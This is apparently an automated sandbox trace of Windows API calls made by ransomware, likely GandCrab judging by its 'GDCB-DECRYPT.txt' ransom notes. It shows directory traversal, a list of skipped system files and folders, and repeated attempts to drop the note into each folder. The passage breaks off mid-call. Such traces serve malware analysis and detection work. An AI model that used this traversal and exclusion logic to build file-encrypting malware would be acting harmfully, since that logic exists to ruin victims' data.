[0135.350] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.350] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.350] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0135.350] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.350] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0135.350] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0135.350] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.351] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.351] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.351] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.351] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt" [0135.351] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.351] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0135.351] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0135.351] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0135.351] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.351] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.351] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.351] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.351] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.351] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned="C:\\Boot\\zh-TW\\memtest.exe.mui" [0135.351] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.351] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0135.351] lstrlenW (lpString="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0135.351] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.352] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.352] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.352] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0135.352] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.352] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.352] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0135.352] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0135.352] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0135.352] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.352] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\bootmgr") returned 10 [0135.352] lstrlenW (lpString="C:\\bootmgr") returned 10 [0135.352] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.352] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.352] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0135.352] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0135.352] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT" [0135.352] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.352] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\BOOTNXT") returned 10 [0135.352] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0135.352] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.353] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.353] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0135.353] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0135.353] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0135.353] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.353] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\BOOTSECT.BAK") returned 15 [0135.353] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0135.353] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.353] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.353] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0135.353] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0135.353] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0135.353] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0135.353] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.353] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.353] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.353] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.353] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.353] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.354] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0135.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0135.354] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0xffffffff [0135.354] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0135.354] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0135.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="ʅP" | out: lpString1="C:\\Documents and Settings\\ʅP") returned="C:\\Documents and Settings\\ʅP" [0135.354] lstrlenW (lpString="C:\\Documents and Settings\\ʅP") returned 29 [0135.354] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.354] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0135.354] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.354] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\\\GDCB-DECRYPT.txt") returned 43 [0135.354] CreateFileW (lpFileName="C:\\Documents and Settings\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.355] GetLastError () returned 0x50 [0135.355] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.355] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0135.355] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0135.355] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0xffffffff [0135.355] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.355] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.355] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.355] lstrcatW (in: lpString1="C:\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\GDCB-DECRYPT.txt") returned="C:\\GDCB-DECRYPT.txt" [0135.355] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.355] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\GDCB-DECRYPT.txt") returned 19 [0135.356] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0135.356] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0135.356] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.356] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.356] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.356] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.356] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0135.356] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0135.356] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0135.356] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.356] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\hiberfil.sys") returned 15 [0135.356] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0135.356] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.356] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.356] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0135.356] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0135.356] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys" [0135.356] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.357] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\pagefile.sys") returned 15 [0135.357] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0135.357] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.357] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.357] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0135.357] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0135.357] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0135.357] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0135.357] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.357] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.357] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.357] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.357] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.357] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.357] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0135.357] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*" [0135.357] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0xffffffff [0135.357] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0135.357] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0135.357] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="ʅP" | out: lpString1="C:\\PerfLogs\\ʅP") returned="C:\\PerfLogs\\ʅP" [0135.357] lstrlenW (lpString="C:\\PerfLogs\\ʅP") returned 15 [0135.357] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.357] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0135.357] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.358] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\PerfLogs\\\\GDCB-DECRYPT.txt") returned 29 [0135.358] CreateFileW (lpFileName="C:\\PerfLogs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\perflogs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.358] GetLastError () returned 0x50 [0135.358] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.358] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0135.358] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*" [0135.358] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0xffffffff [0135.358] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.358] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0135.358] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0135.358] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0135.358] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0135.358] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.359] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.359] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.359] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0135.359] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0135.359] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0135.359] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0135.359] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.359] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.359] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.359] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.359] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0135.359] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0135.359] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0135.359] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0135.359] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.359] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.360] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.360] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0135.360] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0135.360] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0135.360] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0135.360] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.360] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.360] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0135.360] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*" | out: lpString1="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0135.360] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0xffffffff [0135.360] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0135.360] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0135.360] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="ʅP" | out: lpString1="C:\\Recovery\\ʅP") returned="C:\\Recovery\\ʅP" [0135.360] lstrlenW (lpString="C:\\Recovery\\ʅP") returned 15 [0135.360] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.360] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0135.360] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.360] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Recovery\\\\GDCB-DECRYPT.txt") returned 29 [0135.360] CreateFileW (lpFileName="C:\\Recovery\\\\GDCB-DECRYPT.txt" (normalized: "c:\\recovery\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.361] GetLastError () returned 0x50 [0135.361] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.361] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0135.361] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*" | out: lpString1="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0135.361] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0xffffffff [0135.361] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.361] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0135.361] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0135.361] lstrcatW (in: lpString1="C:\\", lpString2="swapfile.sys" | out: lpString1="C:\\swapfile.sys") returned="C:\\swapfile.sys" [0135.361] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.361] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\swapfile.sys") returned 15 [0135.361] lstrlenW (lpString="C:\\swapfile.sys") returned 15 [0135.361] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.361] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.361] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0135.361] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0135.361] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0135.361] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0135.361] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.362] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.362] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.362] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.362] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.362] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.362] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0135.362] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*" | out: lpString1="C:\\System Volume Information\\*") returned="C:\\System Volume Information\\*" [0135.362] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0xffffffff [0135.362] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0135.362] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0135.362] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="ʅP" | out: lpString1="C:\\System Volume Information\\ʅP") returned="C:\\System Volume Information\\ʅP" [0135.362] lstrlenW (lpString="C:\\System Volume Information\\ʅP") returned 32 [0135.362] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.362] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0135.362] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.362] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\System Volume Information\\\\GDCB-DECRYPT.txt") returned 46 [0135.362] CreateFileW (lpFileName="C:\\System Volume Information\\\\GDCB-DECRYPT.txt" (normalized: "c:\\system volume information\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.362] GetLastError () returned 0x5 [0135.362] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.362] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0135.362] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*" | out: lpString1="C:\\System Volume Information\\*") returned="C:\\System Volume Information\\*" [0135.362] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0xffffffff [0135.363] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.363] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0135.363] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0135.363] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0135.363] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0135.363] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.363] 